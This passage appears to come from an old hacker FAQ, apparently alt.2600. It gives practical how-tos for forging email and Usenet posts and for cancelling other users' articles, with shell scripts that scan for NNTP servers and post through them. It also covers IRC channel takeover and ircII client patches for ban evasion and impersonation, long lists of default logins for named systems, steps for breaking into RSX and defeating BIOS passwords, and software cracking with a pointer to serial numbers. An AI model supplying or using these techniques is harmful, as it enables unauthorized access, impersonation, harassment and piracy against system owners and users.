Enter your message as in this example:

HELO bellcore.com
MAIL FROM:voyager@bellcore.com
RCPT TO:president@whitehouse.gov
DATA
From: voyager@bellcore.com (The Voyager)
To: president@whitehouse.gov
Subject: Clipper
Reply-To: voyager@bellcore.com
        Please discontinue your silly Clipper initiative.
.
QUIT

If youíre spoofing mail on a VMS system, be sure to use a lot of gratuitous 
<>ís around email addresses; VMS can be rather picky.  On systems that have
RFC 931 implemented (sendmail 8 and later), spoofing your "MAIL FROM:" line
will not work.  Test by sending yourself fakemail first.  For more information
read RFC 822 "Standard for the format of ARPA Internet text messages."


15. How do I fake posts and control messages to UseNet?

1.  Save any news article to a file.  We'll call it "hak" in this example.
Edit "hak", and remove any header lines of the form
  Fom some!random!path!user   (note: "From ", not "From: " !!)
  Article:
  Lines:
  Xref:

2.  Shorten the Path: header down to its LAST two or three "bangized" 
components.  This is to make the article look like it was posted from where it

really was posted, and originally hit the net at or near the host you send it 
to.  Or you can construct a completely new Path: line to reflect your assumed 
alias.

3.  Make some change to the Message-ID: field, that isn't likely to be 
duplicated anywhere.  This is usually best done by adding a couple of random 
characters to the part before the @, since news posting programs generally use

a fixed-length field to generate these IDs.

4.  Change the other headers to say what you like -- From:, Newsgroups:, 
Sender:, etc.  Replace the original message text with your message.  If you
are posting to a moderated group or posting a control message, remember to put
in an Approved: header to bypass the moderation mechanism.

To specifically cancel someone else's article, you need its message-ID.  Your 
message headers, in addition to what's already there, should also contain the 
following with that message-ID in it.  This makes it a "control message".  
NOTE: control messages require an Approved: header as well, so you should add 
one.

Subject: cmsg cancel 
Control: cancel 
Approved: luser@twits.site.com

Newsgroups are created and destroyed with control messages, too.  If you
wanted to create, for instance, comp.misc.microsoft.sucks, your control
headers would look like

Subject: cmsg newgroup comp.misc.microsoft.sucks
Control: newgroup comp.misc.microsoft.sucks

Add on the string "moderated" at the end of these if you want the group to be 
"moderated with no moderator" as with alt.2600.moderated.  Somewhere in the 
body of your message, you should include the following text, changed with the 
description of the group you're creating:

For your newsgroups file:
comp.misc.microsoft.sucks               We don't do windows

To remove a group, substitute "rmgroup" for "newgroup" in the header lines 
above.  Keep in mind that most sites run all "rmgroup" requests through a
human news-master, who may or may not decide to honor it.  Group creation is
more likely to be automatic than deletion at most installations.  Any
newsgroup changes are more likely to take effect if the come from
tale@uunet.uu.net (David C Lawrence), since that name is hardwired into many
of the NNTP control scripts.

5.  Save your changed article, check it to make sure it contains NO reference 
to yourself or your own site, and send it to your favorite NNTP server that 
permits transfers via the IHAVE command, using the following script:

=======================

#! /bin/sh
## Post an article via IHAVE.
## args: filename server

  if test "$2" = "" ; then
   echo usage: $0 filename server
   exit 1
fi
if test ! -f $1 ; then
   echo $1: not found
   exit 1
fi

# suck msg-id out of headers, keep the brackets
msgid=`sed -e '/^$/,$d' $1 | egrep '^[Mm]essage-[Ii][Dd]: ' | \
   sed 's/.*-[Ii][Dd]: //'`
echo $msgid

( sleep 5
   echo IHAVE $msgid
   sleep 5
   cat $1
   sleep 1
    echo "."
   sleep 1
   echo QUIT ) | telnet $2 119

=======================

If your article doesn't appear in a day or two, try a different server.  They 
are easy to find.  Here's a script that will break a large file full of saved 
netnews into a list of hosts to try.  Edit the output of this if you want, to 
remove obvious peoples' names and other trash.

=======================

#! /bin/sh
FGV='fgrep -i -v'
egrep '^Path: ' $1 | sed -e 's/^Path: //' -e 's/!/\
/g' | sort -u | fgrep . | $FGV .bitnet | $FGV .uucp

=======================

Once you have your host list, feed it to the following script.

  =======================

#! /bin/sh

while read xx ; do
if test "$xx" = "" ; then continue;
fi
echo === $xx
( echo open $xx 119
   sleep 5
   echo ihave IamSOk00l@podunk.edu
   sleep 4
   echo .
   echo quit
   sleep 1
   echo quit
) | telnet
done

=======================

If the above script is called "findem" and you're using csh, you should do

findem < list >& outfile

so that ALL output from telnet is captured.  This takes a long time, but when 
it finishes, edit "outfile" and look for occurrences of "335".  These mark 
answers from servers that might be willing to accept an article.  This isn't a

completely reliable indication, since some servers respond with acceptance and

later drop articles.  Try a given server with a slightly modified repeat of 
someone else's message, and see if it eventually appears.

Sometimes the telnets get into an odd state, and freeze, particularly when a 
host is refusing NNTP connections.  If you manually kill these hung telnet 
processes but not the main script, the script will continue on.  In other 
words, you may have to monitor the finding script a little while it is
running.

You will notice other servers that don't necessarily take an IHAVE, but say 
"posting ok".  You can probably do regular POSTS through these, but they will 
add an "NNTP-Posting-Host: " header containing the machine YOU came from and 
are therefore unsuitable for completely anonymous use.


03. What is an anonymous remailer?


04. What are the addresses of some anonymous remailers?


05. How do I post to a moderated newsgroup?

Usenet messages consist of message headers and message bodies.  The message 
header tells the news software how to process the message.  Headers can be 
divided into two types, required and optional.  Required headers are ones like

"From" and "Newsgroups."  Without the required headers, your message will not 
be posted properly.

One of the optional headers is the "Approved" header.  To post to a moderated 
newsgroup, simply add an Approved header line to your message header.  The 
header line should contain the newsgroup moderators e-mail address.  To see
the correct format for your target newsgroup, save a message from the
newsgroup and then look at it using any text editor.  An "Approved" header
line should look like this:

Approved: root@gnu.ai.mit.edu

There cannot not be a blank line in the message header.  A blank line will 
cause any portion of the header after the blank line to be interpreted as part

of the message body.  For more information, read RFC 1036: Standard for 
Interchange of USENET messages.


06. How do I post to Usenet via e-mail?

Through an e-mail->Usenet gateway.  Send an a e-mail message to 
@.  For example, to post to alt.2600 through 
nic.funet.fi, address your mail to alt.2600@nic.funet.fi.

Here are a few e-mail->Usenet gateways:

        group.name@news.demon.co.uk
        group.name@charm.magnus.acs.ohio-state.edu
        group.name@undergrad.math.uwaterloo.ca
        group.name@nic.funet.fi
        group.name.usenet@decwrl.dec.com

------------------------------

Subject: 7. IRC


01. How do I hack ChanOp on IRC?

Find a server that is split from the rest of IRC and create your own channel 
there using the name of the channel you want ChanOp on.  When that server 
reconnects to the net, you will have ChanOp on the real channel.  If you have 
ServerOp on a server, you can cause it to split on purpose.


02. How do I modify the IRC client to hide my real username?

Note: This FAQ answer was written by someone else, but I do not know who.
      If you know who originally wrote this, please e-mail me.  I'm not
      even sure I'll keep this in; it's just that it has legacy value.

--Begin Quoted Text--
Applying these changes to the source code for your ircII client and
recompiling gives you a new ircII command: /NEWUSER.  This new command can be
used as follows:

*   /NEWUSER  [new_IRCNAME]
*        is a new username to use and is required
*       [new_IRCNAME] is a new IRCNAME string to use and is optional
*   This will disconnect you from your server and reconnect using
*     the new information given.  You will rejoin all channel you
*     are currently on and keep your current nickname.

The effect is basically changing your username/IRCname on the fly.  Although 
you are disconnected from your server and reconnected, the ircII client is 
never exited, thus keeping all your state information and aliases intact.
This is ideal for bots that wish to be REALLY obnoxious in ban evasion. ;)

As this is now a new command in ircII, it can be used in scripts.  Be aware 
that the reconnect associated with the NEWUSER command takes time, so TIMER
any commands that must immediately follow the NEWUSER.  For example... ban
evasion made easy (but beware infinite reconnects when your site is banned):

=======================

on ^474 * {
  echo *** Banned from channel $1
  if ($N == [AnnMurray]) {
    nick $randomstring
    join $1
    } {
    nick AnnMurray
    newuser $randomstring
    timer 5 join $1
    }
  }

=======================

Or just to be annoying... a /BE  alias that will assume a person's 
username and IRCNAME:

=======================

alias be {
  ^on ^311 * {
    ^on 311 -*
    newuser $2 $5-
    }
  whois $0
  }

=======================

Now... in order to add this command to your ircII client, get the latest
client source (or whatever client source you are using).  Cd into the source
directory and edit the file "edit.c".  Make the following changes:

Locate the line which reads:
extern  void    server();

Insert the following line after it:
static  void    newuser();

This pre-defines a new function "newuser()" that we'll add later.


Now, locate the line which reads:
        "NAMES",        "NAMES",        funny_stuff,            0,

Insert the following line after it:
        "NEWUSER",      NULL,           newuser,                0,

This adds a new command NEWUSER to the list of valid IRCII commands, and tells

it to call our new function newuser() to perform it.

Finally, go the bottom of the file and add the following code as our new
function "newuser()":

=======================

/*
* newuser: the /NEWUSER command.  Added by Hendrix
*   Parameters as follows:
*     /NEWUSER  [new_IRCNAME]
*        is a new username to use and is required
*       [new_IRCNAME] is a new IRCNAME string to use and is optional
*   This will disconnect you from your server and reconnect using
*     the new information given.  You will rejoin all channels you
*     are currently on and keep your current nickname.
*/

static void    newuser(command, args)
char    *command,
        *args;
{
        char    *newuname;

        if (newuname = next_arg(args, &args))
        {
                strmcpy(username, newuname, NAME_LEN);
                if (*args)
                        strmcpy(realname, args, REALNAME_LEN);
                say("Reconnecting to server...");
                close_server(from_server);
                if (connect_to_server(server_list[from_server].name,
                      server_list[from_server].port, primary_server) != -1)
                {
                        change_server_channels(primary_server, from_server);
                        set_window_server(-1, from_server, 1);
                }
                else
                        say("Unable to reconnect. Use /SERVER to connect.");
        }
        else
                say("You must specify a username and, optionally, an
IRCNAME");
}

=======================

--End Quoted Text--

/NEWUSER will not hide you from a CTCP query.  To do that, modify ctcp.c as 
shown in the following diff and set an environment variable named CTCPFINGER 
with the information you would like to display when queried.

=======================

*** ctcp.old
--- ctcp.c
***************
*** 334 ****
!       char    c;
--- 334 ---
!       char    c, *fing;
***************
*** 350,354 ****
!               if (pwd = getpwuid(uid))
                {
                        char    *tmp;
--- 350,356 ----
!               if (fing = getenv("CTCPFINGER"))
!                       send_ctcp_reply(from, ctcp->name, fing, diff, c);
!               else if (pwd = getpwuid(uid))
                {
                        char    *tmp;

=======================

------------------------------

Subject: 8. Viruses


01.  What is a trojan/worm/virus/logic bomb?

This FAQ answer was written by Theora:

--Begin Quoted Text--
Trojan:
Remember the Trojan Horse?  Bad guys hid inside it until they could get into 
the city to do their evil deed.  A trojan computer program is similar.  It is
a program which does an unauthorized function, hidden inside an authorized 
program.  It does something other than what it claims to do, usually something

malicious (although not necessarily!), and it is intended by the author to do 
whatever it does.  If it's not intentional, its called a 'bug' or, in some 
cases, a feature :) Some virus scanning programs detect some trojans.  Some 
virus scanning programs don't detect any trojans.  No virus scanners detect
all trojans.

Virus:
A virus is an independent program which reproduces itself.  It may attach to 
other programs, it may create copies of itself (as in companion viruses).  It 
may damage or corrupt data, change data, or degrade the performance of your 
system by utilizing resources such as memory or disk space.  Some virus 
scanners detect some viruses.  No virus scanners detect all viruses.  No virus

scanner can protect against "any and all viruses, known and unknown, now and 
forevermore".

Worm:
Made famous by Robert Morris, Jr., worms are programs which reproduce by 
copying themselves over and over, system to system, using up resources and 
sometimes slowing down the systems.  They are self contained and use the 
networks to spread, in much the same way viruses use files to spread.  Some 
people say the solution to viruses and worms is to just not have any files or 
networks.  They are probably correct.  We would include computers.

Logic Bomb:
Code which will trigger a particular form of 'attack' when a designated 
condition is met.  For instance, a logic bomb could delete all files on Dec. 
5th.  Unlike a virus, a logic bomb does not make copies of itself.
--End Quoted Text--


02.  How can I protect myself from viruses and such?


03.  Where can I get more information about viruses?

------------------------------

Subject: 9. Crypto


01. What is Cryptoxxxxxxx?

This FAQ answer is excerpted from: Computer Security Basics
                                   by Deborah Russell
                                   and G.T. Gengemi Sr.
--Begin Quoted Text--
A message is called either plaintext or cleartext.  The process of disguising
a message in such a way as to hide its substance is called encryption.  An 
encrypted message is called ciphertext.  The process of turning ciphertext
back into plaintext is called decryption.  The art and science of keeping
messages secure is called cryptography, and it is practiced by cryptographers.

Cryptanalysts are practitioners of cryptanalysis, the art and science of 
breaking ciphertext, i.e. seeing through the disguise.  The branch of 
mathematics embodying both cryptography and cryptanalysis is called
cryptology, and it's practitioners are called cryptologists.
--End Quoted Text--


02. What is PGP?

This FAQ answer is excerpted from: PGP(tm) User's Guide
                                   Volume I: Essential Topics
                                   by Philip Zimmermann
--Begin Quoted Text--
PGP(tm) uses public-key encryption to protect E-mail and data files.  
Communicate securely with people you've never met, with no secure channels 
needed for prior exchange of keys.  PGP is well featured and fast, with 
sophisticated key management, digital signatures, data compression, and good 
ergonomic design.

Pretty Good(tm) Privacy (PGP), from Phil's Pretty Good Software, is a high 
security cryptographic software application for MS-DOS, UNIX, VAX/VMS, and 
other computers.  PGP allows people to exchange files or messages with
privacy, authentication, and convenience.  Privacy means that only those
intended to receive a message can read it.  Authentication means that messages
that appear to be from a particular person can only have originated from that
person. Convenience means that privacy and authentication are provided without
the hassles of managing keys associated with conventional cryptographic
software.  No secure channels are needed to exchange keys between users, which
makes PGP much easier to use.  This is because PGP is based on a powerful new
technology called "public key" cryptography.

PGP combines the convenience of the Rivest-Shamir-Adleman (RSA) public key 
cryptosystem with the speed of conventional cryptography, message digests for 
digital signatures, data compression before encryption, good ergonomic design,

and sophisticated key management.  And PGP performs the public-key functions 
faster than most other software implementations.  PGP is public key 
cryptography for the masses.
--End Quoted Textó

------------------------------

Subject: 10. General Networking


01. What is ethernet sniffing?

Ethernet sniffing is listening (with software) to the raw ethernet device for 
packets that interest you.  When your software sees a packet that fits certain

criteria, it logs it to a file.  The most common criteria for an interesting 
packet is one that contains words like "login" or "password."  Many ethernet 
sniffers are available, here are a few that may be on your system now:

OS              Sniffer
~~              ~~~~~~~
4.3/4.4 BSD     tcpdump
FreeBSD         tcpdump
NetBSD          tcpdump
DEC UNIX        tcpdump
DEC Ultrix      tcpdump
HP/UX           nettl  (monitor)
              & netfmt (display)
                nfswatch
Linux           tcpdump
SGI Irix        nfswatch          
                Etherman
                tcpdump
Solaris         snoop
                tcpdump
SunOS           etherfind
                nfswatch
                tcpdump
DOS             ETHLOAD
                The Gobbler
                LanPatrol
                LanWatch
                Netmon
                Netwatch
                Netzhack
Macintosh       Etherpeek


02. What is an Internet Outdial?

An Internet outdial is a modem connected to the Internet than you can use to 
dial out.  Normal outdials will only call local numbers.  A GOD (Global 
OutDial) is capable of calling long distance.  Outdials are an inexpensive 
method of calling long distance BBS's.


03. What are some Internet Outdials?

This FAQ answer is excerpted from CoTNo #5:

                        Internet Outdial List v3.0
                         by Cavalier and DisordeR


Introduction
~~~~~~~~~~~~
There are several lists of Internet outdials floating around the net these 
days.  The following is a compilation of other lists, as well as v2.0 by 
DeadKat(CoTNo issue 2, article 4).  Unlike other lists where the author just 
ripped other people and released it, we have sat down and tested each one of 
these.  Some of them we have gotten "Connection Refused" or it timed out while

trying to connect...these have been labeled dead.

Working Outdials as of 12/29/94
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

NPA      IP Address                   Instructions
~~~      ~~~~~~~~~~                   ~~~~~~~~~~~~
215      isn.upenn.edu                modem
217      dialout.cecer.army.mil       atdt x,xxxXXXXX
218      modem.d.umn.edu              atdt9,xxxXXXX
303      yuma.acns.colostate.edu 3020
412      myriad.pc.cc.cmu.edu 2600    Press D at the prompt
412      gate.cis.pitt.edu            tn3270,
                                       connect dialout.pitt.edu,
                                       atdtxxxXXXX
413      dialout2400.smith.edu        Ctrl } gets ENTER NUMBER: xxxxxxx
502      outdial.louisville.edu
502      uknet.uky.edu                connect kecnet
                                       @ dial: "outdial2400 or out"
602      acssdial.inre.asu.edu        atdt8,,,,,[x][yyy]xxxyyyy
614      ns2400.acs.ohio-state.edu
614      ns9600.acs.ohio-state.edu
713      128.249.27.153               atdt x,xxxXXXX
714      modem.nts.uci.edu            atdt[area]0[phone]
804      ublan.virginia.edu           connect hayes, 9,,xxx-xxxx
804      ublan2.acc.virginia.edu      connect telnet
                                       connect hayes

Need Password
~~~~~~~~~~~~~
206      rexair.cac.washington.edu    This is an unbroken password
303      yuma.ACNS.ColoState.EDU      login: modem
404      128.140.1.239                .modem8|CR
415      annex132-1.EECS.Berkeley.EDU "dial1" or "dial2" or "dialer1"
514      cartier.CC.UMontreal.CA      externe,9+number
703      wal-3000.cns.vt.edu          dial2400 -aa

Conclusion
~~~~~~~~~~
If you find any of the outdials to have gone dead, changed commands, or
require password, please let us know so we can keep this list as accurate as
possible. If you would like to add to the list, feel free to mail us and it
will be included in future versions of this list, with your name beside it.
Have fun...


04. What port is XXX on?

The file /etc/services on most UNIX machines lists the port assignments for 
that machine.  For a complete list of port assignments, read RFC (Request For 
Comments) 1700 "Assigned Numbers"


05. What is 127.0.0.1?

127.0.0.1 is a loopback network connection.  If you telnet, ftp, etc... to it 
you are connected to your own machine.

------------------------------

Subject: 11.  Miscellaneous Systems Cracking


01. What is this system?

[NOTE: This is by no means an exhaustive list.  It is reasonable to assume
that those systems not listed here are probably so because they report their 
identity upon login by default, however.]

AIX
~~~
IBM AIX Version 3 for RISC System/6000
(C) Copyrights by IBM and by others 1982, 1990.
login:

[You will know an AIX system because it is the only UNIX system that clears
the screen and issues a login prompt near the bottom of the screen]

AS/400
~~~~~~
UserID?
Password?

[Once in, type GO MAIN]

CDC Cyber
~~~~~~~~~
WELCOME TO THE NOS SOFTWARE SYSTEM.
COPYRIGHT CONTROL DATA 1978, 1987.

88/02/16. 02.36.53. N265100

CSUS CYBER 170-730.                     NOS 2.5.2-678/3.

FAMILY:

[You would normally just hit return at the family prompt.  Next prompt is:]

USER NAME:

CISCO Router
~~~~~~~~~~~~

                    FIRST BANK OF TNO
                 95-866 TNO VirtualBank
                REMOTE Router -  TN043R1

                      Console Port      

                      SN - 00000866

TN043R1>

DECserver
~~~~~~~~~
DECserver 700-08 Communications Server V1.1 (BL44G-11A) - LAT V5.1
DPS502-DS700

(c) Copyright 1992, Digital Equipment Corporation - All Rights Reserved

Please type HELP if you need assistance

Enter username> TNO

Local>

Hewlett Packard MPE-XL
~~~~~~~~~~~~~~~~~~~~~~

MPE XL:
EXPECTED A :HELLO COMMAND. (CIERR 6057)
MPE XL:
EXPECTED [SESSION NAME,] USER.ACCT [,GROUP]   (CIERR 1424)
MPE XL:

GTN
~~~
WELCOME TO CITIBANK. PLEASE SIGN ON.
XXXXXXXX

@
PASSWORD =

@

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

PLEASE ENTER YOUR ID:-1->
PLEASE ENTER YOUR PASSWORD:-2->

CITICORP (CITY NAME). KEY GHELP FOR HELP.
  XXX.XXX
PLEASE SELECT SERVICE REQUIRED.-3->


Lantronix Terminal Server
~~~~~~~~~~~~~~~~~~~~~~~~~
Lantronix ETS16 Version V3.1/1(940623)

Type HELP at the 'Local_15> ' prompt for assistance.

Login password>

Meridian Mail (Northern Telecom Phone/Voice Mail System)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          MMM       MM MERIDIAN
                         MMMMM     MMMMM
                        MMMMMMM  MMMMMM
                       MMM  MMMMM  MMM     MMMMM     MMMMM
                      MMM    MMM  MMM     MMMMMM   MMMMMM
                     MMM         MMM     MMM MMM MMM MMM
                    MMM         MMM     MMM  MMMMM  MMM
                   MMM         MMM     MMM   MMM   MMM
                  MMM         MMM     MMM         MMM
                 MMM         MMM     MMM         MMM
                MMM         MMM     MMM         MMM
               MMM         MMM     MMM         MMM
              MMM         MMM     MMM         MMM

                              Copyright (c) Northern Telecom, 1991

Novell ONLAN
~~~~~~~~~~~~
N

[To access the systems it is best to own a copy of ONLAN/PC]

PC-Anywhere
~~~~~~~~~~~
P

[To access the systems it is best to own a copy of PCAnywhere Remote]

PRIMOS
~~~~~~
PRIMENET 19.2.7F PPOA1



ER!

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

CONNECT
Primenet V 2.3  (system)
LOGIN           (you)
User id?        (system)
SAPB5           (you)
Password?       (system)
DROWSAP         (you)
OK,             (system)

ROLM CBX II
~~~~~~~~~~~
ROLM CBXII  RELEASE 9004.2.34 RB295 9000D IBMHO27568
BIND DATE:  7/APR/93
COPYRIGHT 1980, 1993 ROLM COMPANY.  ALL RIGHTS RESERVED.
ROLM IS A REGISTERED TRADEMARK AND CBX IS A TRADEMARK OF ROLM COMPANY.
YOU HAVE ENTERED CPU 1
12:38:47 ON WEDNESDAY 2/15/1995

USERNAME: op

PASSWORD:

INVALID USERNAME-PASSWORD PAIR

ROLM-OSL
~~~~~~~~
MARAUDER10292  01/09/85(^G) 1 03/10/87  00:29:47
RELEASE 8003
OSL, PLEASE.
?

System75
~~~~~~~~
Login: root
INCORRECT LOGIN

Login: browse
Password:

Software Version: G3s.b16.2.2

Terminal Type (513, 4410, 4425): [513]

Tops-10
~~~~~~~
NIH Timesharing

NIH Tri-SMP 7.02-FF  16:30:04 TTY11
system 1378/1381/1453 Connected to Node Happy(40) Line # 12
Please LOGIN
.

VM/370
~~~~~~
VM/370
!

VM/ESA
~~~~~~
VM/ESA ONLINE

                                  TBVM2 VM/ESA Rel 1.1     PUT 9200

Fill in your USERID and PASSWORD and press ENTER
(Your password will not appear when you type it)
USERID   ===>
PASSWORD ===>

COMMAND  ===>

Xylogics Annex Communications Server
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Annex Command Line Interpreter   *   Copyright 1991 Xylogics, Inc.


Checking authorization, Please wait...      -
Annex username: TNO                          - Optional security check
Annex password:                             -  Not always present

Permission granted
annex:


02. What are the default accounts for XXX?

AIX
~~~
guest           guest

AS/400
~~~~~~
qsecofr         qsecofr         /* master security officer */
qsysopr         qsysopr         /* system operator         */
qpgmr           qpgmr           /* default programmer      */

also

ibm             password
ibm             2222
ibm             service
qsecofr         1111111
qsecofr         2222222
qserv           qserv
qsvr            qsvr
secofr          secofr
qsrv            ibmce1

DECserver
~~~~~~~~~
ACCESS
SYSTEM

Dynix (The library software, not the UNIXOS)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
(Type 'later' to exit to the login prompt)
setup           
library         
circ            

Hewlett Packard MPE-XL
~~~~~~~~~~~~~~~~~~~~~~
HELLO           MANAGER.SYS
HELLO           MGR.SYS
HELLO           FIELD.SUPPORT     HPUNSUP or SUPPORT or HP
HELLO           OP.OPERATOR
MGR             CAROLIAN
MGR             CCC
MGR             CNAS
MGR             CONV
MGR             COGNOS
OPERATOR        COGNOS
MANAGER         COGNOS
OPERATOR        DISC
MGR             HPDESK
MGR             HPWORD
FIELD           HPWORD
MGR             HPOFFICE
SPOOLMAN        HPOFFICE
ADVMAIL         HPOFFICE
MAIL            HPOFFICE
WP              HPOFFICE
MANAGER         HPOFFICE
MGR             HPONLY
FIELD           HPP187
MGR             HPP187
MGR             HPP189
MGR             HPP196
MGR             INTX3
MGR             ITF3000
MANAGER         ITF3000
MAIL            MAIL
MGR             NETBASE
MGR             REGO
MGR             RJE
MGR             ROBELLE
MANAGER         SECURITY
MGR             SECURITY
FIELD           SERVICE
MANAGER         SYS
MGR             SYS
PCUSER          SYS
RSBCMON         SYS
OPERATOR        SYS
OPERATOR        SYSTEM
FIELD           SUPPORT
OPERATOR        SUPPORT
MANAGER         TCH
MAIL            TELESUP
MANAGER         TELESUP
MGR             TELESUP
SYS             TELESUP
MGE             VESOFT
MGE             VESOFT
MGR             WORD
MGR             XLSERVER

Common jobs are Pub, Sys, Data
Common passwords are HPOnly, TeleSup, HP, MPE, Manager, MGR, Remote

Major BBS
~~~~~~~~~
Sysop           Sysop

Mitel PBX
~~~~~~~~~
SYSTEM

NeXTSTEP
~~~~~~~~
root            NeXT
signa           signa
me              

Nomadic Computing Environment (NCE) on the
~~~~~~~~~~~Tadpole Technologies SPARCBook3
           ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
fax             

NT
~~
Administrator   
Guest           
Mail            

PICK O/S
~~~~~~~~
DSA             # Desquetop System Administrator
DS
DESQUETOP
PHANTOM

Prolog
~~~~~~
PBX             PBX
NETWORK         NETWORK
NETOP           

Radio Shack Screen Savers
~~~~~~~~~~~~~~~~~~~~~~~~~
RS

Rolm
~~~~
CBX Defaults

op              op
op              operator
su              super
admin           pwp
eng             engineer


PhoneMail Defaults
~~~~~~~~~~~~~~~~~~
sysadmin        sysadmin
tech            tech
poll            tech

RSX
~~~
SYSTEM/SYSTEM   (Username SYSTEM, Password SYSTEM)
1,1/system      (Directory [1,1] Password SYSTEM)
BATCH/BATCH
SYSTEM/MANAGER
USER/USER

Default accounts for Micro/RSX:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                MICRO/RSX

Alternately you can hit   when the boot sequence asks you for the date

and create an account using:

                RUN ACNT
            or  RUN $ACNT

(Numbers below 10 {oct} are privileged)

Reboot and wait for the date/time question. Type ^C and at the MCR prompt,
type "abo at." You must include the . dot!

If this works, type "acs lb0:/blks=1000" to get some swap space so the new
step won't wedge.

type " run $acnt" and change the password of any account with a group number
of 7 or less.

You may find that the ^C does not work. Try ^Z and ESC as well.  Also try all
3 as terminators to valid and invalid times.

If none of the above work, use the halt switch to halt the system, just after
a invalid date-time.  Look for a user mode PSW 1[4-7]xxxx. then deposit 177777

into R6, cross your fingers, write protect the drive and continue the system.

This will hopefully result in indirect blowing up...  And hopefully the system

has not been fully secured.

SGI Irix
~~~~~~~~
4DGifts         
guest           
demos           
lp              
nuucp           
tour            
tutor           

System 75
~~~~~~~~~
bcim            bcimpw
bciim           bciimpw
bcms            bcmspw, bcms
bcnas           bcnspw
blue            bluepw
browse          looker, browsepw
craft           crftpw, craftpw, crack
cust            custpw
enquiry         enquirypw
field           support
inads           indspw, inadspw, inads
init            initpw
kraft           kraftpw
locate          locatepw
maint           maintpw, rwmaint
nms             nmspw
rcust           rcustpw
support         supportpw
tech            field

Taco Bell
~~~~~~~~~
rgm             rollout
tacobell        

Verifone Junior 2.05
~~~~~~~~~~~~~~~~~~~~
Default password: 166816

VMS
~~~
field           service
systest         utep

XON / XON Junior
~~~~~~~~~~~~~~~~
Default password: 166831


03. How do I defeat a BIOS password?

This depends on what BIOS the machine has.  Common BIOS's include AMI, Award, 
IBM and Phoenix.  Numerous other BIOS's do exist, but these are the most 
common.  Some BIOSes allow you to require a password be entered before the 
system will boot. Some BIOSes allow you to require a password to be entered 
before the BIOS setup may be accessed.

Every BIOS must store this password information somewhere.  If you are able to

access the machine after it has been booted successfully, you may be able to 
view the password.  You must know the memory address where the password is 
stored, and the format in which the password is stored.  Or, you must have a 
program that knows these things.  The most common BIOS password attack
programs are for Ami BIOS.  Some password attack programs will return the AMI
BIOS password in plain text, some will return it in ASCII codes, some will
return it in scan codes. This appears to be dependent not just on the password
attacker, but also  on the version of Ami BIOS.  To obtain Ami BIOS password
attackers, ftp to oak.oakland.edu /simtel/msdos/sysutil/.  By far the best set
of BIOS utilities available is !BIOS from the Eleventh Alliance; contact 
ealliance@hotmail.com for more information.

If you cannot access the machine after if has been powered up, it is still 
possible to get past the password.  The password is stored in CMOS memory that

is maintained while the PC is powered off by a small battery, which is
attached to the motherboard.  If you remove this battery, all CMOS information
will be lost.  You will need to re-enter the correct CMOS setup information to
use the machine.  The machines owner or user will most likely be alarmed when
it is discovered that the BIOS password has been deleted.  On some
motherboards, the battery is soldered to the motherboard, making it difficult
to remove.  If this is the case, you have another alternative.  Somewhere on
the motherboard you should find a jumper that will clear the BIOS password.
If you have the motherboard documentation, you will know where that jumper is.
If not, the jumper may be labeled on the motherboard.  If you are not
fortunate enough for either of these to be the case, you may be able to guess
which jumper is the correct jumper.  This jumper is usually standing alone
near the battery.

------------------------------

Subject: 12. Software


01. How do I defeat Copy Protection?

Old methods of copy protection created certain sectors that resisted copying
by normal methods.  This could be defeated by programs that copy data
perfectly, like CopyIIPC from Central Point Software.  Copy protectionís
modern incarnation is often in the form of serial numbers and time-limits,
both of which can be defeated.

Collections of serial numbers can often be found on the web.  By far the most 
comprehensive collection can be found at http://www.lol.ru.

To defeat time-limits and other measures, youíll often need a patch, or in
more common modern lexicon, a crack.  For popular software, you may be able to

locate a ready made patch.  In some cases you will need to apply the patch 
using any hex editor; those patches calling themselves "cracks" are often 
executables which will automatically augment the software in question if you 
run it in the appropriate path.  If you cannot find a crack, you will need to 
patch the software yourself.

Writing a patch requires a debugger, such as Soft-Ice or Sourcer.  It also 
requires some knowledge of assembly language.  Load the protected program
under the debugger and watch for it to check the protection mechanism.  When
it does, change that portion of the code.  The code can be changed from JE
(Jump on Equal) or JNE (Jump On Not Equal) to JMP (Jump Unconditionally).  Or
the code may simply be replaced with NOP (No Operation) instructions.


02. What is the password for ?

This FAQ answer was written by crypt 

Magazine                        Password
~~~~~~~~~~~~~~~~~~~~~~~~~~~~    ~~~~~~~~~~~
VLAD Magazine Issue #1          vlad
VLAD Magazine Issue #2          vx
VLAD Magazine Issue #3          virus
NuKE InfoJournal Issue #2       514738
NuKE InfoJournal Issue #3       power
NuKE InfoJournal Issue #4       party

Program
~~~~~~~~~~~~~~~~~~~~~~~~~~~~    ~~~~~~~~~~~
Sphere Hacker 1.40 & 1.41       theozone
Virus Creation 2000             high level
Virus Construction Lab          Chiba City
Ejecutor Virus Creator          EJECUTOR
Biological Warfare v0.90        lo tek
Biological Warfare v1.00        freak


03. Is there any hope of a decompiler that would convert an executable
    program into C/C++ code?

This FAQ answer is an excerpt from SNIPPETS by Bob Stout.

--Begin Quoted Text--
Don't hold your breath. Think about it... For a decompiler to work properly, 
either 1) every compiler would have to generate substantially identical code, 
even with full optimization turned on, or 2) it would have to recognize the 
individual output of every compiler's code generator.

If the first case were to be correct, there would be no more need for compiler

benchmarks since every one would work the same.  For the second case to be
true would require in immensely complex program that had to change with every
new compiler release.

OK, so what about specific decompilers for specific compilers - say a 
decompiler designed to only work on code generated by, say, BC++ 4.5? This
gets us right back to the optimization issue.  Code written for clarity and 
understandability is often inefficient.  Code written for maximum performance 
(speed or size) is often cryptic (at best!) Add to this the fact that all 
modern compilers have a multitude of optimization switches to control which 
optimization techniques to enable and which to avoid.  The bottom line is
that, for a reasonably large, complex source module, you can get the compiler
to produce a number of different object modules simply by changing your 
optimization switches, so your decompiler will also have to be a deoptimizer 
which can automagically recognize which optimization strategies were enabled
at compile time.

OK, let's simplify further and specify that you only want to support one 
specific compiler and you want to decompile to the most logical source code 
without trying to interpret the optimization.  What then?  A good optimizer
can and will substantially rewrite the internals of your code, so what you get
out 
of your decompiler will be, not only cryptic, but in many cases, riddled with 
goto statements and other no-no's of good coding practice.  At this point, you

have decompiled source, but what good is it?

